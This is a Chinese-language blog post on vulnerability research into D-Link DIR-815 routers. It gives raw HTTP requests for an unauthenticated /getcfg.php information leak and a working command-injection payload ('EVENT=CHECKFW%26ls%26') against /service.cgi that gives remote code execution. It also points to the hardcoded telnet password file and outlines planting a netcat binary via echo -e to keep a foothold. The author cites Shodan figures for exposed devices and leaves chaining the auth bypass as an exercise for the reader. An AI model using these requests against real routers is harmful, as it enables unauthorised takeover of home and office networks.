一、前言
聪明的人喜欢说:“一分价钱一分货”,这道理对编程来说同样适用。就我个人而言,我更喜欢能以较少代价获取廉价产品的那些商店。话虽如此,圣诞节期间我倍感无聊,决定扔掉许多老旧硬件。在扔掉这些硬件之前,我灵机一动,想给其中一些硬件来次模糊测试(fuzz)。本文介绍了我在24小时内(关键工作仅花了4小时时间)对D-Link 815N设备的研究结果。
授人予鱼不如授人予渔,本文的目的并不是向大家介绍一个可以用来干翻全世界的0Day漏洞,而是介绍寻找这些漏洞的一种方法。
声明:我花了几分钟时间翻了翻D-Link官网,并没有在官网找到提交漏洞的地方。
二、扫描目标设备
这个步骤中最难的一关其实是找到这款路由器的电源线。启动路由器、接入开发环境后,第一要务就是找到正确的登录密码。这方面Dlink非常慷慨,使用的用户名为admin
,没有密码。
接下来,我启用了路由器的“Remote Management(远程管理)”功能,这样就能模拟通过互联网访问该路由器的应用场景。然后我使用了netcat
工具,简单探测访问远程管理接口时能得到哪些指纹信息(banner),返回结果如下所示:
nc 10.0.0.1 8080
HEAD / HTTP/1.1
HTTP/1.1 400 Bad Request
Server: Linux, HTTP/1.1, DIR-815 Ver 1.03
Date: Sat, 27 Jan 2001 02:48:12 GMT
在Shodan.io上查询关键字后,我发现大约有700个设备会返回同样的信息。
三、理解工作原理
进展到这一步后,我想要了解这款路由器如何实现身份认证、如何加载页面。为了完成这一任务,我在Chrome浏览器中启用了开发者工具(Firefox同样支持该功能),开始观察“network”标签页的输出结果。成功登录时,我发现浏览器会向/session.cgi
路径发送一个POST请求,返回结果为简单的XML数据(其中不包含与会话(session)有关的信息)。
nc 10.0.0.1 8080
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: localhost
Cookie: uid=DumMyTokEN
Content-Length: 68
ACTION=login_plaintext&PASSWD=&CAPTCHA=&USER=admin&REPORT_METHOD=xml
HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-815 Ver 1.03
Date: Sat, 27 Jan 2001 04:59:08 GMT
Transfer-Encoding: chunked
Content-Type: text/xml
a1
<?xml version=”1.0″ encoding=”utf-8″?>
<report>
<RESULT>SUCCESS</RESULT>
<REASON></REASON>
<AUTHORIZED_GROUP>0</AUTHORIZED_GROUP>
<PELOTA></PELOTA>
</report>
0
知道这一点后,我不禁有点小激动,因为这表明设备开发者可能只通过cookie来实现认证,而cookie正是我可以操控的变量。如果这些开发者的确这么懒惰,也许我可以不经过身份认证就能访问某些页面。
浏览几分钟后,我注意到一个PHP页面,许多页面中会引用这个页面。我开始使用Chrome以及开发者工具抓取相关的POST请求,然后在netcat中重放这些请求(未附加cookie)。
我找到了一处非常有趣的信息:DEVICE.ACCOUNT
,这也是我的最爱(稍后扫描程序可以使用这个信息来检查默认凭据)。
POST /getcfg.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: localhost
Content-Length: 23
SERVICES=DEVICE.ACCOUNT
HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-815 Ver 1.03
Date: Sat, 27 Jan 2001 05:07:42 GMT
Transfer-Encoding: chunked
Content-Type: text/xml
208
<?xml version=”1.0″ encoding=”utf-8″?>
<postxml>
<module>
<service>DEVICE.ACCOUNT</service>
<device>
<account>
<seqno></seqno>
<max>1</max>
<count>1</count>
<entry>
<name>admin</name>
<password></password>
<group>0</group>
<description></description>
</entry>
</account>
<session>
<captcha>0</captcha>
<dummy>dummy</dummy>
<timeout>600</timeout>
<maxsession>128</maxsession>
<maxauthorized>16</maxauthorized>
</session>
</device>
</module>
</postxml>
0
如果用户设置了密码,那么上述结果中<password>
会变成==OoXxGgYy==
。在这里我总共花了10分钟,终于找到了不需要通过身份认证来扫描目标设备的一种方法,可以得到路由器所有接口的信息、连接到路由器的设备以及这些设备所对应的流量、DNS信息、日志信息等等。大家可以在我的Github上找到完整列表。
四、拿到shell
此时我已经投入了几个小时的时间,发现这款路由器就像一个“超级商店”那样可以给我们提供许多有用的信息。然而,当我把这些成果展示给某位朋友时,他对此非常不屑,我还记得他说过的那句话:“如果真的那么简单,那么拿一个shell给我看看!”
这句话把我推向了下一个环节,那就是确认路由器开发者是不是没有对输入进行验证。于是我再次浏览一些页面,搜寻带有执行功能的目标网址,机缘巧合下,我找到了使用/service.cgi
的一个防火墙配置页面。观察POST请求后,我决定在正常提交数据后面追加一个&
符号以及ls
命令,然后再次提交请求(当然还要传入用于身份认证的cookie值),结果如下:
root@kali:~# nc 10.0.0.1 8080
POST /service.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: localhost
Content-Length: 21
Cookie: uid=DuMMyTokEN
EVENT=CHECKFW%26ls%26
HTTP/1.1 200 OK
Server: Linux, HTTP/1.1, DIR-815 Ver 1.03
Date: Sat, 27 Jan 2001 09:25:03 GMT
Transfer-Encoding: chunked
Content-Type: text/xml
64
<?xml version=”1.0″ encoding=”utf-8″?>
<report>
<result>OK</result>
<message></message>
</report>
4
cbwpsacts.php
wiz_wps.php
wiz_wlan.php
wiz_wan_fresetv6.php
wiz_wan.php
wifi_stat.php
… <You get the point>
0
大功告成。
五、综合利用
可以说,此时我们已经找到了一个RCE(远程代码执行)漏洞,但我们还需要通过身份认证,这一点无需担心,我们可以使用某种方法未授权访问这款路由器,具体方法留给读者来挖掘。
最后,我想把前面几个步骤融入一个快速利用脚本中,这样我们无需敲入许多命令就可以与路由器远程交互,为此我写了一个DLINK 815 Shell RCE程序。如果你对轻量级物联网(IoT)设备有所了解的话,你会注意到这些设备都会运行busybox,我们可以在上面运行熟悉的一些命令,这一点非常好。
那么,接下来我们可以做些啥?其实很简单,我们可以启用telnet功能,获得较为稳定的shell:
/bin/cat /etc/init0.d/S80telnetd.sh
#!/bin/sh
echo [$0]: $1 … > /dev/console
if [ “$1” = “start” ];
then if [ -f “/usr/sbin/login” ];
then image_sign=`cat /etc/config/image_sign`
telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
else
telnetd &
fielse
killall telnetd
fi
注意:厂商非常亲民,已经将telnet密码硬编码在/etc/config/image_sign
中。我对这些嵌入式设备的工作过程有点了解,因此我确信所有的D-Link 815N设备都会采用同样的密码。
六、临时驻留
我知道在这些设备上的实现驻留并没有太大意义,但我找不到更合适的名词来阐述这个概念。这些设备不经常重启,并且当它们启动时,在正常运行前会重新释放设备固件。这意味着当设备重启时,我们放在设备上的所有痕迹也会随风而逝,但毕竟设备不经常重启,我们可以不用在意这个细节。
我并不会公布具体代码,但如果你对Linux以及echo
命令比较熟悉,那么你应该能找到一种方法,使用python之类的工具读取某个二进制文件(如netcat
),将结果以某种形式输出,然后将这些数据通过echo -e
方式存放到设备上的某个位置(比如/var/tmp
),这个过程中你需要了解目标设备的具体架构,可以参考此处了解更多信息。
2018年1月8日更新:来自Google的消息表明,如果我们访问D-Link 645的/getcfg.php
页面,那么我们就能拿到明文形式的密码。
将这个信息与/service.cgi
结合起来,你就可以掌握一切!
发表评论
您还未登录,请先登录。
登录